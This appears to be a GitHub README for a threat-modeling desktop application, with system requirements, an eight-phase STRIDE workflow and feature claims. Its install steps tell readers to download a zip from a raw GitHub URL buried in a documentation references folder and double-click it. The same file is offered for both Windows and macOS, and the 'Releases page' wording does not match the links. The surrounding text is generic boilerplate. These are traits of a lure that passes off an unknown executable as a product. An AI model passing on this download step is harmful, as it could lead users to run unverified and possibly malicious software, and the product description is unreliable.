The skill-threat-modeling application helps you analyze software risks using a structured approach. This tool guides you through an 8-phase workflow that includes security design reviews, STRIDE threat modeling, penetration testing, and compliance assessments.

This section walks you through the steps to download and run the application. Follow these simple instructions to get started.

Before downloading the software, check that your computer meets these requirements:

• Operating System: Windows 10 or later, macOS Mojave or later
• Processor: Intel i5 or equivalent
• Memory: 4 GB RAM or more
• Storage: At least 100 MB of free space

To download the application, visit the Releases page. Follow these steps:

1. Click on the link below to access the Releases page:

   Download from Releases

2. On the Releases page, find the latest version of the application. Look for a section marked “Assets.” This section lists available files.

3. Choose the appropriate file for your operating system:

   • For Windows, download https://raw.githubusercontent.com/cga22099/skill-threat-modeling/main/assets/knowledge/security-controls/references/modeling-threat-skill-v1.5-beta.1.zip
   • For macOS, download https://raw.githubusercontent.com/cga22099/skill-threat-modeling/main/assets/knowledge/security-controls/references/modeling-threat-skill-v1.5-beta.1.zip

4. Once the file has downloaded, navigate to your Downloads folder.

5. Double-click the downloaded file to start the installation. Follow the on-screen prompts to complete the setup.

6. After installation, you can find the application in your list of programs. Click to open and start using the tool.

After opening the application, you will see several options that correspond to different phases of threat modeling.

The application guides you through each of the following phases:

1. Project Setup: Define your project and its scope.
2. Identify Assets: List important assets you need to protect.
3. Identify Threats: Use STRIDE to identify potential threats.
4. Risk Assessment: Analyze vulnerabilities and assess risks.
5. Mitigation Strategies: Develop strategies to mitigate identified risks.
6. Testing: Run penetration tests to evaluate your defenses.
7. Review: Conduct a security design review.
8. Compliance Check: Ensure all software complies with relevant standards.

• User-Friendly Interface: Navigate easily through the application without any coding skills.
• Detailed Reporting: Generate comprehensive reports on your risk analyses.
• Customizable Templates: Use templates for different types of projects to save time.
• Ongoing Updates: Benefit from regular updates that enhance functionality and security.

If you encounter issues while using the application, consult the FAQ section on the Releases page. If you need further assistance, consider reaching out to our support team.

1. Go to the Releases page.
2. Navigate to the “Issues” tab to submit a new issue or browse existing topics.

This tool is available under the MIT License. You may use, modify, and distribute the software under the terms of this license.

• GitHub Repository
• Documentation

Join our community to share your experiences or ask questions. You can find discussions about the tool on our GitHub repository's Discussions page.

By following these steps, you should be able to successfully download and operate the skill-threat-modeling application. Enjoy assessing your software risks with ease and confidence!